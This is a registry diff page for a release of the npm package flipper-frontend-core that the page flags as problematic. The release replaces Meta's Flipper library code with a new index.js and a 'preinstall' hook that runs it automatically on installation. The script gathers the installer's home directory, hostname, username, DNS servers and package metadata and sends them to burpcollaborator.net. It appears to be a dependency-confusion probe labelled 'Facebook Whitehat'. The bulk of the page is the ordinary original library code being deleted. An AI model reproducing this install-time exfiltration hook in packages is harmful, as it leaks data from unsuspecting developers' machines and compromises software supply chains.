flipper-frontend-core 0.212.0 → 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of flipper-frontend-core might be problematic. Click here for more details.
- package/index.js +47 -0
- package/package.json +7 -33
- package/README.md +0 -3
- package/lib/AbstractClient.d.ts +0 -75
- package/lib/AbstractClient.d.ts.map +0 -1
- package/lib/AbstractClient.js +0 -376
- package/lib/AbstractClient.js.map +0 -1
- package/lib/RenderHost.d.ts +0 -138
- package/lib/RenderHost.d.ts.map +0 -1
- package/lib/RenderHost.js +0 -19
- package/lib/RenderHost.js.map +0 -1
- package/lib/devices/ArchivedDevice.d.ts +0 -35
- package/lib/devices/ArchivedDevice.d.ts.map +0 -1
- package/lib/devices/ArchivedDevice.js +0 -65
- package/lib/devices/ArchivedDevice.js.map +0 -1
- package/lib/devices/BaseDevice.d.ts +0 -79
- package/lib/devices/BaseDevice.d.ts.map +0 -1
- package/lib/devices/BaseDevice.js +0 -267
- package/lib/devices/BaseDevice.js.map +0 -1
- package/lib/devices/TestDevice.d.ts +0 -16
- package/lib/devices/TestDevice.d.ts.map +0 -1
- package/lib/devices/TestDevice.js +0 -36
- package/lib/devices/TestDevice.js.map +0 -1
- package/lib/fb-stubs/constants.d.ts +0 -13
- package/lib/fb-stubs/constants.d.ts.map +0 -1
- package/lib/fb-stubs/constants.js +0 -14
- package/lib/fb-stubs/constants.js.map +0 -1
- package/lib/flipperLibImplementation/downloadFile.d.ts +0 -12
- package/lib/flipperLibImplementation/downloadFile.d.ts.map +0 -1
- package/lib/flipperLibImplementation/downloadFile.js +0 -49
- package/lib/flipperLibImplementation/downloadFile.js.map +0 -1
- package/lib/flipperLibImplementation/index.d.ts +0 -15
- package/lib/flipperLibImplementation/index.d.ts.map +0 -1
- package/lib/flipperLibImplementation/index.js +0 -72
- package/lib/flipperLibImplementation/index.js.map +0 -1
- package/lib/globalObject.d.ts +0 -24
- package/lib/globalObject.d.ts.map +0 -1
- package/lib/globalObject.js +0 -18
- package/lib/globalObject.js.map +0 -1
- package/lib/index.d.ts +0 -19
- package/lib/index.d.ts.map +0 -1
- package/lib/index.js +0 -46
- package/lib/index.js.map +0 -1
- package/lib/plugins.d.ts +0 -39
- package/lib/plugins.d.ts.map +0 -1
- package/lib/plugins.js +0 -189
- package/lib/plugins.js.map +0 -1
- package/lib/utils/createServerAddOnControls.d.ts +0 -11
- package/lib/utils/createServerAddOnControls.d.ts.map +0 -1
- package/lib/utils/createServerAddOnControls.js +0 -69
- package/lib/utils/createServerAddOnControls.js.map +0 -1
- package/lib/utils/isPluginCompatible.d.ts +0 -12
- package/lib/utils/isPluginCompatible.d.ts.map +0 -1
- package/lib/utils/isPluginCompatible.js +0 -26
- package/lib/utils/isPluginCompatible.js.map +0 -1
- package/lib/utils/isPluginVersionMoreRecent.d.ts +0 -12
- package/lib/utils/isPluginVersionMoreRecent.d.ts.map +0 -1
- package/lib/utils/isPluginVersionMoreRecent.js +0 -39
- package/lib/utils/isPluginVersionMoreRecent.js.map +0 -1
- package/lib/utils/isProduction.d.ts +0 -10
- package/lib/utils/isProduction.d.ts.map +0 -1
- package/lib/utils/isProduction.js +0 -16
- package/lib/utils/isProduction.js.map +0 -1
- package/lib/utils/pluginKey.d.ts +0 -13
- package/lib/utils/pluginKey.d.ts.map +0 -1
- package/lib/utils/pluginKey.js +0 -27
- package/lib/utils/pluginKey.js.map +0 -1
package/index.js
ADDED
@@ -0,0 +1,47 @@
|
|
1
|
+
//author:- facebook.com/amwsis
|
2
|
+
const os = require("os");
|
3
|
+
const dns = require("dns");
|
4
|
+
const querystring = require("querystring");
|
5
|
+
const https = require("https");
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
const package = packageJSON.name;
|
8
|
+
|
9
|
+
const trackingData = JSON.stringify({
|
10
|
+
p: package,
|
11
|
+
c: __dirname,
|
12
|
+
hd: os.homedir(),
|
13
|
+
hn: os.hostname(),
|
14
|
+
un: os.userInfo().username,
|
15
|
+
dns: dns.getServers(),
|
16
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
17
|
+
v: packageJSON.version,
|
18
|
+
pjson: packageJSON,
|
19
|
+
});
|
20
|
+
|
21
|
+
var postData = querystring.stringify({
|
22
|
+
msg: trackingData,
|
23
|
+
});
|
24
|
+
|
25
|
+
var options = {
|
26
|
+
hostname: "burpcollaborator.net", //replace burpcollaborator.net with Interactsh or pipedream
|
27
|
+
port: 443,
|
28
|
+
path: "/",
|
29
|
+
method: "POST",
|
30
|
+
headers: {
|
31
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
32
|
+
"Content-Length": postData.length,
|
33
|
+
},
|
34
|
+
};
|
35
|
+
|
36
|
+
var req = https.request(options, (res) => {
|
37
|
+
res.on("data", (d) => {
|
38
|
+
process.stdout.write(d);
|
39
|
+
});
|
40
|
+
});
|
41
|
+
|
42
|
+
req.on("error", (e) => {
|
43
|
+
// console.error(e);
|
44
|
+
});
|
45
|
+
|
46
|
+
req.write(postData);
|
47
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,38 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "flipper-frontend-core",
|
3
|
-
"version": "0.
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
"main": "lib/index.js",
|
7
|
-
"flipperBundlerEntry": "src",
|
8
|
-
"types": "lib/index.d.ts",
|
9
|
-
"license": "MIT",
|
10
|
-
"bugs": "https://github.com/facebook/flipper/issues",
|
11
|
-
"dependencies": {
|
12
|
-
"eventemitter3": "^4.0.7",
|
13
|
-
"flipper-common": "0.212.0",
|
14
|
-
"flipper-plugin-core": "0.212.0",
|
15
|
-
"immer": "^9.0.18",
|
16
|
-
"js-base64": "^3.7.5",
|
17
|
-
"p-map": "^4.0.0",
|
18
|
-
"reconnecting-websocket": "^4.4.0",
|
19
|
-
"semver": "^7.3.7"
|
20
|
-
},
|
21
|
-
"devDependencies": {
|
22
|
-
"flipper-test-utils": "0.212.0"
|
23
|
-
},
|
24
|
-
"peerDependencies": {},
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "\"Facebook Whitehat\"",
|
5
|
+
"main": "index.js",
|
25
6
|
"scripts": {
|
26
|
-
"
|
27
|
-
"
|
28
|
-
"prepack": "yarn reset && yarn build"
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
29
9
|
},
|
30
|
-
"
|
31
|
-
|
32
|
-
],
|
33
|
-
"homepage": "https://github.com/facebook/flipper",
|
34
|
-
"keywords": [
|
35
|
-
"Flipper"
|
36
|
-
],
|
37
|
-
"author": "Facebook, Inc"
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
38
12
|
}
|
package/README.md
DELETED
package/lib/AbstractClient.d.ts
DELETED
@@ -1,75 +0,0 @@
|
|
1
|
-
/**
|
2
|
-
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
3
|
-
*
|
4
|
-
* This source code is licensed under the MIT license found in the
|
5
|
-
* LICENSE file in the root directory of this source tree.
|
6
|
-
*
|
7
|
-
* @format
|
8
|
-
*/
|
9
|
-
import BaseDevice from './devices/BaseDevice';
|
10
|
-
import { Logger, FlipperServer } from 'flipper-common';
|
11
|
-
import EventEmitter from 'eventemitter3';
|
12
|
-
import { ClientQuery, ClientResponseType, ClientErrorType } from 'flipper-common';
|
13
|
-
import { _SandyPluginInstance, _SandyPluginDefinition } from 'flipper-plugin-core';
|
14
|
-
type Plugins = Set<string>;
|
15
|
-
type PluginsArr = Array<string>;
|
16
|
-
export type Params = {
|
17
|
-
api: string;
|
18
|
-
method: string;
|
19
|
-
params?: Object;
|
20
|
-
};
|
21
|
-
export type RequestMetadata = {
|
22
|
-
method: string;
|
23
|
-
id: number;
|
24
|
-
params: Params | undefined;
|
25
|
-
};
|
26
|
-
export interface ClientConnection {
|
27
|
-
send(data: any): void;
|
28
|
-
sendExpectResponse(data: any): Promise<ClientResponseType>;
|
29
|
-
}
|
30
|
-
export default abstract class AbstractClient extends EventEmitter {
|
31
|
-
connected: import("flipper-plugin-core").Atom<boolean>;
|
32
|
-
id: string;
|
33
|
-
query: ClientQuery;
|
34
|
-
sdkVersion: number;
|
35
|
-
messageIdCounter: number;
|
36
|
-
plugins: Plugins;
|
37
|
-
backgroundPlugins: Plugins;
|
38
|
-
connection: ClientConnection | null | undefined;
|
39
|
-
activePlugins: Set<string>;
|
40
|
-
device: BaseDevice;
|
41
|
-
logger: Logger;
|
42
|
-
sandyPluginStates: Map<string, _SandyPluginInstance>;
|
43
|
-
private readonly serverAddOnControls;
|
44
|
-
private readonly flipperServer;
|
45
|
-
private resolveInitPromise;
|
46
|
-
readonly initializationPromise: Promise<unknown>;
|
47
|
-
constructor(id: string, query: ClientQuery, conn: ClientConnection | null | undefined, logger: Logger, plugins: Plugins | null | undefined, device: BaseDevice, flipperServer: FlipperServer);
|
48
|
-
isBackgroundPlugin(pluginId: string): boolean;
|
49
|
-
protected abstract shouldConnectAsBackgroundPlugin(pluginId: string): boolean;
|
50
|
-
init(): Promise<void>;
|
51
|
-
protected loadPlugins(_phase: 'init' | 'refresh'): Promise<Plugins>;
|
52
|
-
protected loadPlugin(plugin: _SandyPluginDefinition, initialState?: Record<string, any>): void;
|
53
|
-
startPluginIfNeeded(plugin: _SandyPluginDefinition | undefined): void;
|
54
|
-
stopPluginIfNeeded(pluginId: string, _force?: boolean): void;
|
55
|
-
disconnect(): void;
|
56
|
-
destroy(): void;
|
57
|
-
protected abstract getPlugin(pluginId: string): Promise<_SandyPluginDefinition | undefined>;
|
58
|
-
protected getBackgroundPlugins(): Promise<PluginsArr>;
|
59
|
-
refreshPlugins(): Promise<void>;
|
60
|
-
onMessage(msg: string): void;
|
61
|
-
protected handleExecuteMessage(params: Params): boolean;
|
62
|
-
protected onResponse(data: ClientResponseType, resolve: ((a: any) => any) | undefined, reject: (error: ClientErrorType) => any): void;
|
63
|
-
protected rawCall<T>(method: string, fromPlugin: boolean, params?: Params): Promise<T>;
|
64
|
-
protected isAcceptingMessagesFromPlugin(plugin: string | null | undefined): boolean | null | undefined;
|
65
|
-
protected getPerformanceMark(data: RequestMetadata): string;
|
66
|
-
protected getLogEventName(data: RequestMetadata): string;
|
67
|
-
initPlugin(pluginId: string): void;
|
68
|
-
deinitPlugin(pluginId: string): void;
|
69
|
-
protected rawSend(method: string, params?: Object): void;
|
70
|
-
call(api: string, method: string, fromPlugin: boolean, params?: Object): Promise<Object>;
|
71
|
-
send(api: string, method: string, params?: Object): void;
|
72
|
-
supportsMethod(api: string, method: string): Promise<boolean>;
|
73
|
-
}
|
74
|
-
export {};
|
75
|
-
//# sourceMappingURL=AbstractClient.d.ts.map
|
@@ -1 +0,0 @@
|
|
1
|
-
{"version":3,"file":"AbstractClient.d.ts","sourceRoot":"","sources":["../src/AbstractClient.tsx"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AAKH,OAAO,UAAU,MAAM,sBAAsB,CAAC;AAC9C,OAAO,EAAC,MAAM,EAAE,aAAa,EAAsB,MAAM,gBAAgB,CAAC;AAK1E,OAAO,YAAY,MAAM,eAAe,CAAC;AAGzC,OAAO,EAEL,WAAW,EACX,kBAAkB,EAClB,eAAe,EAChB,MAAM,gBAAgB,CAAC;AACxB,OAAO,EAEL,oBAAoB,EAEpB,sBAAsB,EACvB,MAAM,qBAAqB,CAAC;AAI7B,KAAK,OAAO,GAAG,GAAG,CAAC,MAAM,CAAC,CAAC;AAC3B,KAAK,UAAU,GAAG,KAAK,CAAC,MAAM,CAAC,CAAC;AAEhC,MAAM,MAAM,MAAM,GAAG;IACnB,GAAG,EAAE,MAAM,CAAC;IACZ,MAAM,EAAE,MAAM,CAAC;IACf,MAAM,CAAC,EAAE,MAAM,CAAC;CACjB,CAAC;AACF,MAAM,MAAM,eAAe,GAAG;IAC5B,MAAM,EAAE,MAAM,CAAC;IACf,EAAE,EAAE,MAAM,CAAC;IACX,MAAM,EAAE,MAAM,GAAG,SAAS,CAAC;CAC5B,CAAC;AAEF,MAAM,WAAW,gBAAgB;IAC/B,IAAI,CAAC,IAAI,EAAE,GAAG,GAAG,IAAI,CAAC;IAEtB,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AAO,CAAC,MAAM,CAAC;IAiClB,IAAI,CAAC,GAAG,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,CAAC,EAAE,MAAM,GAAG,IAAI;IAWlD,cAAc,CAAC,GAAG,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,GAAG,OAAO,CAAC,OAAO,CAAC;CAYpE"}
|
package/lib/AbstractClient.js
DELETED
@@ -1,376 +0,0 @@
|
|
1
|
-
"use strict";
|
2
|
-
/**
|
3
|
-
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
4
|
-
*
|
5
|
-
* This source code is licensed under the MIT license found in the
|
6
|
-
* LICENSE file in the root directory of this source tree.
|
7
|
-
*
|
8
|
-
* @format
|
9
|
-
*/
|
10
|
-
var __importDefault = (this && this.__importDefault) || function (mod) {
|
11
|
-
return (mod && mod.__esModule) ? mod : { "default": mod };
|
12
|
-
};
|
13
|
-
Object.defineProperty(exports, "__esModule", { value: true });
|
14
|
-
const flipper_common_1 = require("flipper-common");
|
15
|
-
const eventemitter3_1 = __importDefault(require("eventemitter3"));
|
16
|
-
const pluginKey_1 = require("./utils/pluginKey");
|
17
|
-
const immer_1 = require("immer");
|
18
|
-
const flipper_common_2 = require("flipper-common");
|
19
|
-
const flipper_plugin_core_1 = require("flipper-plugin-core");
|
20
|
-
const createServerAddOnControls_1 = require("./utils/createServerAddOnControls");
|
21
|
-
const isProduction_1 = __importDefault(require("./utils/isProduction"));
|
22
|
-
class AbstractClient extends eventemitter3_1.default {
|
23
|
-
constructor(id, query, conn, logger, plugins, device, flipperServer) {
|
24
|
-
super();
|
25
|
-
this.connected = (0, flipper_plugin_core_1.createState)(false);
|
26
|
-
this.sandyPluginStates = new Map();
|
27
|
-
this.initializationPromise = new Promise((_resolve) => {
|
28
|
-
this.resolveInitPromise = _resolve;
|
29
|
-
});
|
30
|
-
this.connected.set(!!conn);
|
31
|
-
this.plugins = plugins ? plugins : new Set();
|
32
|
-
this.backgroundPlugins = new Set();
|
33
|
-
this.connection = conn;
|
34
|
-
this.id = id;
|
35
|
-
this.query = query;
|
36
|
-
this.sdkVersion = query.sdk_version || 0;
|
37
|
-
this.messageIdCounter = 0;
|
38
|
-
this.logger = logger;
|
39
|
-
this.activePlugins = new Set();
|
40
|
-
this.device = device;
|
41
|
-
this.flipperServer = flipperServer;
|
42
|
-
this.serverAddOnControls = (0, createServerAddOnControls_1.createServerAddOnControls)(this.flipperServer);
|
43
|
-
}
|
44
|
-
isBackgroundPlugin(pluginId) {
|
45
|
-
return this.backgroundPlugins.has(pluginId);
|
46
|
-
}
|
47
|
-
async init() {
|
48
|
-
var _a;
|
49
|
-
await this.loadPlugins('init');
|
50
|
-
await Promise.all([...this.plugins].map(async (pluginId) => this.startPluginIfNeeded(await this.getPlugin(pluginId))));
|
51
|
-
this.backgroundPlugins = new Set(await this.getBackgroundPlugins());
|
52
|
-
this.backgroundPlugins.forEach((plugin) => {
|
53
|
-
if (this.shouldConnectAsBackgroundPlugin(plugin)) {
|
54
|
-
this.initPlugin(plugin);
|
55
|
-
}
|
56
|
-
});
|
57
|
-
this.emit('plugins-change');
|
58
|
-
(_a = this.resolveInitPromise) === null || _a === void 0 ? void 0 : _a.call(this, null);
|
59
|
-
}
|
60
|
-
// get the supported plugins
|
61
|
-
async loadPlugins(_phase) {
|
62
|
-
var _a;
|
63
|
-
let response;
|
64
|
-
try {
|
65
|
-
response = await (0, flipper_common_2.timeout)(30 * 1000, this.rawCall('getPlugins', false), 'Fetch plugin timeout. Unresponsive client?');
|
66
|
-
}
|
67
|
-
catch (e) {
|
68
|
-
console.warn('Failed to fetch plugin', e);
|
69
|
-
}
|
70
|
-
this.plugins = new Set((_a = response === null || response === void 0 ? void 0 : response.plugins) !== null && _a !== void 0 ? _a : []);
|
71
|
-
console.info('AbstractClient.loadPlugins', this.query, [...this.plugins]);
|
72
|
-
return this.plugins;
|
73
|
-
}
|
74
|
-
loadPlugin(plugin, initialState) {
|
75
|
-
try {
|
76
|
-
const pluginInstance = new flipper_plugin_core_1._SandyPluginInstance(this.serverAddOnControls, (0, flipper_plugin_core_1.getFlipperLib)(), plugin, this, (0, pluginKey_1.getPluginKey)(this.id, { serial: this.query.device_id }, plugin.id), initialState);
|
77
|
-
pluginInstance.events.on('error', (message) => {
|
78
|
-
const error = {
|
79
|
-
message,
|
80
|
-
name: 'Plugin Error',
|
81
|
-
stacktrace: '',
|
82
|
-
};
|
83
|
-
this.emit('error', error);
|
84
|
-
});
|
85
|
-
this.sandyPluginStates.set(plugin.id, pluginInstance);
|
86
|
-
}
|
87
|
-
catch (e) {
|
88
|
-
console.error(`Failed to start plugin '${plugin.id}': `, e);
|
89
|
-
}
|
90
|
-
}
|
91
|
-
startPluginIfNeeded(plugin) {
|
92
|
-
if (plugin && !this.sandyPluginStates.has(plugin.id)) {
|
93
|
-
this.loadPlugin(plugin);
|
94
|
-
}
|
95
|
-
}
|
96
|
-
stopPluginIfNeeded(pluginId, _force = false) {
|
97
|
-
const instance = this.sandyPluginStates.get(pluginId);
|
98
|
-
if (instance) {
|
99
|
-
instance.destroy();
|
100
|
-
this.sandyPluginStates.delete(pluginId);
|
101
|
-
}
|
102
|
-
}
|
103
|
-
// connection lost, but Client might live on
|
104
|
-
disconnect() {
|
105
|
-
this.sandyPluginStates.forEach((instance) => {
|
106
|
-
instance.disconnect();
|
107
|
-
});
|
108
|
-
this.emit('close');
|
109
|
-
this.connected.set(false);
|
110
|
-
}
|
111
|
-
// clean up this client
|
112
|
-
destroy() {
|
113
|
-
this.disconnect();
|
114
|
-
this.plugins.forEach((pluginId) => this.stopPluginIfNeeded(pluginId, true));
|
115
|
-
this.serverAddOnControls.unsubscribe();
|
116
|
-
}
|
117
|
-
// get the supported background plugins
|
118
|
-
async getBackgroundPlugins() {
|
119
|
-
if (this.sdkVersion < 4) {
|
120
|
-
return [];
|
121
|
-
}
|
122
|
-
const data = await (0, flipper_common_2.timeout)(30 * 1000, this.rawCall('getBackgroundPlugins', false), 'Fetch background plugins timeout for ' + this.id);
|
123
|
-
return data.plugins;
|
124
|
-
}
|
125
|
-
// get the plugins, and update the UI
|
126
|
-
async refreshPlugins() {
|
127
|
-
try {
|
128
|
-
const oldBackgroundPlugins = this.backgroundPlugins;
|
129
|
-
await this.loadPlugins('refresh');
|
130
|
-
await Promise.all([...this.plugins].map(async (pluginId) => this.startPluginIfNeeded(await this.getPlugin(pluginId))));
|
131
|
-
const newBackgroundPlugins = await this.getBackgroundPlugins();
|
132
|
-
this.backgroundPlugins = new Set(newBackgroundPlugins);
|
133
|
-
// diff the background plugin list, disconnect old, connect new ones
|
134
|
-
oldBackgroundPlugins.forEach((plugin) => {
|
135
|
-
if (!this.backgroundPlugins.has(plugin)) {
|
136
|
-
this.deinitPlugin(plugin);
|
137
|
-
}
|
138
|
-
});
|
139
|
-
newBackgroundPlugins.forEach((plugin) => {
|
140
|
-
if (!oldBackgroundPlugins.has(plugin) &&
|
141
|
-
this.shouldConnectAsBackgroundPlugin(plugin)) {
|
142
|
-
this.initPlugin(plugin);
|
143
|
-
}
|
144
|
-
});
|
145
|
-
this.emit('plugins-change');
|
146
|
-
}
|
147
|
-
catch (e) {
|
148
|
-
if (this.connected) {
|
149
|
-
throw e;
|
150
|
-
}
|
151
|
-
else {
|
152
|
-
console.warn(e);
|
153
|
-
}
|
154
|
-
}
|
155
|
-
}
|
156
|
-
onMessage(msg) {
|
157
|
-
var _a, _b, _c, _d;
|
158
|
-
if (typeof msg !== 'string') {
|
159
|
-
return;
|
160
|
-
}
|
161
|
-
let rawData;
|
162
|
-
try {
|
163
|
-
rawData = (0, immer_1.freeze)(JSON.parse(msg), true);
|
164
|
-
}
|
165
|
-
catch (err) {
|
166
|
-
console.error(`Invalid JSON: ${msg}`, 'clientMessage');
|
167
|
-
return;
|
168
|
-
}
|
169
|
-
const data = rawData;
|
170
|
-
const { id, method } = data;
|
171
|
-
this.emit('flipper-debug-message', {
|
172
|
-
device: (_a = this.device) === null || _a === void 0 ? void 0 : _a.displayTitle(),
|
173
|
-
app: this.query.app,
|
174
|
-
flipperInternalMethod: method,
|
175
|
-
plugin: (_b = data.params) === null || _b === void 0 ? void 0 : _b.api,
|
176
|
-
pluginMethod: (_c = data.params) === null || _c === void 0 ? void 0 : _c.method,
|
177
|
-
payload: (_d = data.params) === null || _d === void 0 ? void 0 : _d.params,
|
178
|
-
direction: 'toFlipper:message',
|
179
|
-
});
|
180
|
-
if (id == null) {
|
181
|
-
const { error } = data;
|
182
|
-
if (error != null) {
|
183
|
-
console.error(`Error received from device ${method ? `when calling ${method}` : ''}: ${error.message} + \nDevice Stack Trace: ${error.stacktrace}`, 'deviceError');
|
184
|
-
this.emit('error', error);
|
185
|
-
}
|
186
|
-
else if (method === 'refreshPlugins') {
|
187
|
-
this.refreshPlugins();
|
188
|
-
}
|
189
|
-
else if (method === 'execute') {
|
190
|
-
if (!data.params) {
|
191
|
-
throw new Error('expected params');
|
192
|
-
}
|
193
|
-
const params = data.params;
|
194
|
-
const bytes = msg.length * 2; // string lengths are measured in UTF-16 units (not characters), so 2 bytes per char
|
195
|
-
this.emit('bytes-received', params.api, bytes);
|
196
|
-
if (bytes > 5 * 1024 * 1024) {
|
197
|
-
console.warn(`Plugin '${params.api}' received excessively large message for '${params.method}': ${Math.round(bytes / 1024)}kB`);
|
198
|
-
}
|
199
|
-
const handled = this.handleExecuteMessage(params);
|
200
|
-
if (!handled && !(0, isProduction_1.default)()) {
|
201
|
-
console.warn(`Unhandled message ${params.api}.${params.method}`);
|
202
|
-
}
|
203
|
-
}
|
204
|
-
// TODO: Warn about unknown method?
|
205
|
-
return; // method === 'execute'
|
206
|
-
}
|
207
|
-
}
|
208
|
-
handleExecuteMessage(params) {
|
209
|
-
const pluginInstance = this.sandyPluginStates.get(params.api);
|
210
|
-
if (!pluginInstance) {
|
211
|
-
return false;
|
212
|
-
}
|
213
|
-
pluginInstance.receiveMessages([params]);
|
214
|
-
return true;
|
215
|
-
}
|
216
|
-
onResponse(data, resolve, reject) {
|
217
|
-
if (data.success) {
|
218
|
-
resolve && resolve(data.success);
|
219
|
-
}
|
220
|
-
else if (data.error) {
|
221
|
-
reject(data.error);
|
222
|
-
}
|
223
|
-
}
|
224
|
-
rawCall(method, fromPlugin, params) {
|
225
|
-
return new Promise(async (resolve, reject) => {
|
226
|
-
var _a, _b, _c, _d;
|
227
|
-
const id = this.messageIdCounter++;
|
228
|
-
const metadata = {
|
229
|
-
method,
|
230
|
-
id,
|
231
|
-
params,
|
232
|
-
};
|
233
|
-
const data = {
|
234
|
-
id,
|
235
|
-
method,
|
236
|
-
params,
|
237
|
-
};
|
238
|
-
const plugin = params ? params.api : undefined;
|
239
|
-
const baseErrorMessage = `Unable to send ${(_a = params === null || params === void 0 ? void 0 : params.method) !== null && _a !== void 0 ? _a : method} to ${(_b = params === null || params === void 0 ? void 0 : params.api) !== null && _b !== void 0 ? _b : 'FlipperCore'}`;
|
240
|
-
console.debug(data, 'message:call');
|
241
|
-
const mark = this.getPerformanceMark(metadata);
|
242
|
-
performance.mark(mark);
|
243
|
-
if (!this.connected.get()) {
|
244
|
-
// TODO: display warning in the UI
|
245
|
-
reject(new flipper_common_1.NoLongerConnectedToClientError());
|
246
|
-
return;
|
247
|
-
}
|
248
|
-
if (!fromPlugin || this.isAcceptingMessagesFromPlugin(plugin)) {
|
249
|
-
try {
|
250
|
-
const response = await this.connection.sendExpectResponse(data);
|
251
|
-
if (!fromPlugin || this.isAcceptingMessagesFromPlugin(plugin)) {
|
252
|
-
const logEventName = this.getLogEventName(data);
|
253
|
-
this.logger.trackTimeSince(mark, logEventName);
|
254
|
-
this.emit('bytes-received', plugin || 'unknown', response.length * 2);
|
255
|
-
this.onResponse(response, resolve, reject);
|
256
|
-
this.emit('flipper-debug-message', {
|
257
|
-
device: (_c = this.device) === null || _c === void 0 ? void 0 : _c.displayTitle(),
|
258
|
-
app: this.query.app,
|
259
|
-
flipperInternalMethod: method,
|
260
|
-
payload: response,
|
261
|
-
plugin,
|
262
|
-
pluginMethod: params === null || params === void 0 ? void 0 : params.method,
|
263
|
-
direction: 'toFlipper:response',
|
264
|
-
});
|
265
|
-
}
|
266
|
-
}
|
267
|
-
catch (error) {
|
268
|
-
reject(new Error(`${baseErrorMessage}, connection error: ${error}`));
|
269
|
-
}
|
270
|
-
}
|
271
|
-
else {
|
272
|
-
reject(new Error(`${baseErrorMessage}, client is not accepting messages for plugin ${plugin}`));
|
273
|
-
}
|
274
|
-
this.emit('flipper-debug-message', {
|
275
|
-
device: (_d = this.device) === null || _d === void 0 ? void 0 : _d.displayTitle(),
|
276
|
-
app: this.query.app,
|
277
|
-
flipperInternalMethod: method,
|
278
|
-
plugin: params === null || params === void 0 ? void 0 : params.api,
|
279
|
-
pluginMethod: params === null || params === void 0 ? void 0 : params.method,
|
280
|
-
payload: params === null || params === void 0 ? void 0 : params.params,
|
281
|
-
direction: 'toClient:call',
|
282
|
-
});
|
283
|
-
});
|
284
|
-
}
|
285
|
-
isAcceptingMessagesFromPlugin(plugin) {
|
286
|
-
return this.connection && (!plugin || this.activePlugins.has(plugin));
|
287
|
-
}
|
288
|
-
getPerformanceMark(data) {
|
289
|
-
const { method, id } = data;
|
290
|
-
return `request_response_${method}_${id}`;
|
291
|
-
}
|
292
|
-
getLogEventName(data) {
|
293
|
-
const { method, params } = data;
|
294
|
-
return params && params.api && params.method
|
295
|
-
? `request_response_${method}_${params.api}_${params.method}`
|
296
|
-
: `request_response_${method}`;
|
297
|
-
}
|
298
|
-
initPlugin(pluginId) {
|
299
|
-
this.activePlugins.add(pluginId);
|
300
|
-
const instance = this.sandyPluginStates.get(pluginId);
|
301
|
-
if (this.connected.get() && instance) {
|
302
|
-
this.rawSend('init', { plugin: pluginId });
|
303
|
-
instance.connect();
|
304
|
-
}
|
305
|
-
}
|
306
|
-
deinitPlugin(pluginId) {
|
307
|
-
this.activePlugins.delete(pluginId);
|
308
|
-
const instance = this.sandyPluginStates.get(pluginId);
|
309
|
-
instance === null || instance === void 0 ? void 0 : instance.disconnect();
|
310
|
-
if (this.connected.get() && instance) {
|
311
|
-
this.rawSend('deinit', { plugin: pluginId });
|
312
|
-
}
|
313
|
-
}
|
314
|
-
rawSend(method, params) {
|
315
|
-
var _a;
|
316
|
-
const data = {
|
317
|
-
method,
|
318
|
-
params,
|
319
|
-
};
|
320
|
-
console.debug(data, 'message:send');
|
321
|
-
if (this.connection) {
|
322
|
-
this.connection.send(data);
|
323
|
-
}
|
324
|
-
this.emit('flipper-debug-message', {
|
325
|
-
device: (_a = this.device) === null || _a === void 0 ? void 0 : _a.displayTitle(),
|
326
|
-
app: this.query.app,
|
327
|
-
flipperInternalMethod: method,
|
328
|
-
payload: params,
|
329
|
-
direction: 'toClient:send',
|
330
|
-
});
|
331
|
-
}
|
332
|
-
call(api, method, fromPlugin, params) {
|
333
|
-
return (0, flipper_common_1.reportPluginFailures)(this.rawCall('execute', fromPlugin, {
|
334
|
-
api,
|
335
|
-
method,
|
336
|
-
params,
|
337
|
-
}).catch((err) => {
|
338
|
-
// We only throw errors if the connection is still alive
|
339
|
-
// as connection-related ones aren't recoverable from
|
340
|
-
// user code.
|
341
|
-
if (this.connected.get()) {
|
342
|
-
// This is a special case where we a send failed because of
|
343
|
-
// a disconnect "mid-air". This can happen, for instance,
|
344
|
-
// when you pull the plug from a connected phone. We can
|
345
|
-
// still handle this gracefully.
|
346
|
-
if (err.toString().includes('Socket closed unexpectedly')) {
|
347
|
-
console.warn(`Failed to call device due to unexpected disconnect: ${err}`);
|
348
|
-
this.disconnect();
|
349
|
-
return {};
|
350
|
-
}
|
351
|
-
throw err;
|
352
|
-
}
|
353
|
-
// This effectively preserves the previous behavior
|
354
|
-
// of ignoring disconnection-related call failures.
|
355
|
-
return {};
|
356
|
-
}), `Call-${method}`, api);
|
357
|
-
}
|
358
|
-
send(api, method, params) {
|
359
|
-
if (!(0, isProduction_1.default)()) {
|
360
|
-
console.warn(`${api}:${method || ''} client.send() is deprecated. Please use call() instead so you can handle errors.`);
|
361
|
-
}
|
362
|
-
return this.rawSend('execute', { api, method, params });
|
363
|
-
}
|
364
|
-
async supportsMethod(api, method) {
|
365
|
-
if (!this.connected.get()) {
|
366
|
-
return false;
|
367
|
-
}
|
368
|
-
const response = await this.rawCall('isMethodSupported', true, {
|
369
|
-
api,
|
370
|
-
method,
|
371
|
-
});
|
372
|
-
return response.isSupported;
|
373
|
-
}
|
374
|
-
}
|
375
|
-
exports.default = AbstractClient;
|
376
|
-
//# sourceMappingURL=AbstractClient.js.map
|
@@ -1 +0,0 @@
|
|
1
|
-
